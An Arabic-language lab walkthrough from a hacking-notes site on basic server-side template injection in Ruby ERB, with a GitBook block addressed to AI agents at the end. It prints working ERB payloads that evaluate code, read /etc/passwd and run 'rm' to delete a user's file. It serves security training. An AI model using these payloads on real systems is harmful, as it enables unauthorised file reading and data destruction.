> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/ssti/basic-ruby-server-side-template-injection.md).

# حقن قوالب الخادم الأساسي في Ruby

### حقن القوالب الأساسي من جهة الخادم

يستخدم التطبيق قوالب ERB بشكل غير مؤمَّن، مما يجعله عرضةً لـ **حقن القوالب من جهة الخادم (SSTI)**./ الهدف هو تنفيذ شيفرة عشوائية من أجل **حذف الملف** `morale.txt` الموجود في مجلد كارلوس الرئيسي:/ `/home/carlos/morale.txt`.

#### 1. تحديد المعلمة الضعيفة

نعثر على `رسالة` معلمة في التطبيق التي **تعكس إدخالنا** مباشرةً في الصفحة. / سيُستخدم هذا الحقل لحقن شيفرة ERB.

<figure><img src="/files/9625775c1e5d7c82d1965670f832b45e9fd82820" alt=""><figcaption></figcaption></figure>

#### 2. التحقق من تنفيذ الشيفرة (اختبار بـ 7/\*7)

يتم حقن تعبير Ruby بسيط لتأكيد ثغرة حقن القوالب من جهة الخادم:

```ruby
<%= 7*7 %>
```

إذا كانت الثغرة موجودة، فسيعرض الناتج:

<figure><img src="/files/8fb05d382b29fd7d5c94d1273b77c349f5fa66e4" alt="" width="563"><figcaption></figcaption></figure>

وهذا يثبت أن تعبير Ruby يُقيَّم داخل القالب من جهة الخادم.

#### 3. قراءة ملف حساس: `/etc/passwd`

بعد تأكيد التنفيذ، حاول قراءة ملف نظام للتحقق من الوصول إلى نظام الملفات:

```ruby
<%= File.open('/etc/passwd').read %>
```

<figure><img src="/files/7c7f2cf9b3c29e6a0ed01ccb5154dbb60e8b7e4a" alt=""><figcaption></figcaption></figure>

محتوى `/etc/passwd` يُعاد بعد ذلك في الإجابة، مما يؤكد أنه يمكنك قراءة الملفات على الخادم.

#### 4. حذف كارلوس `morale.txt` الملف

لإكمال المختبر، شغّل أمر نظام لحذف الملف المطلوب:

```ruby
<%= system('rm /home/carlos/morale.txt') %>
```

هذا الحقن يبدأ `rm` الأمر من جهة الخادم ويزيل `morale.txt` الملف الموجود في `/home/carlos/` الدليل.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/ssti/basic-ruby-server-side-template-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
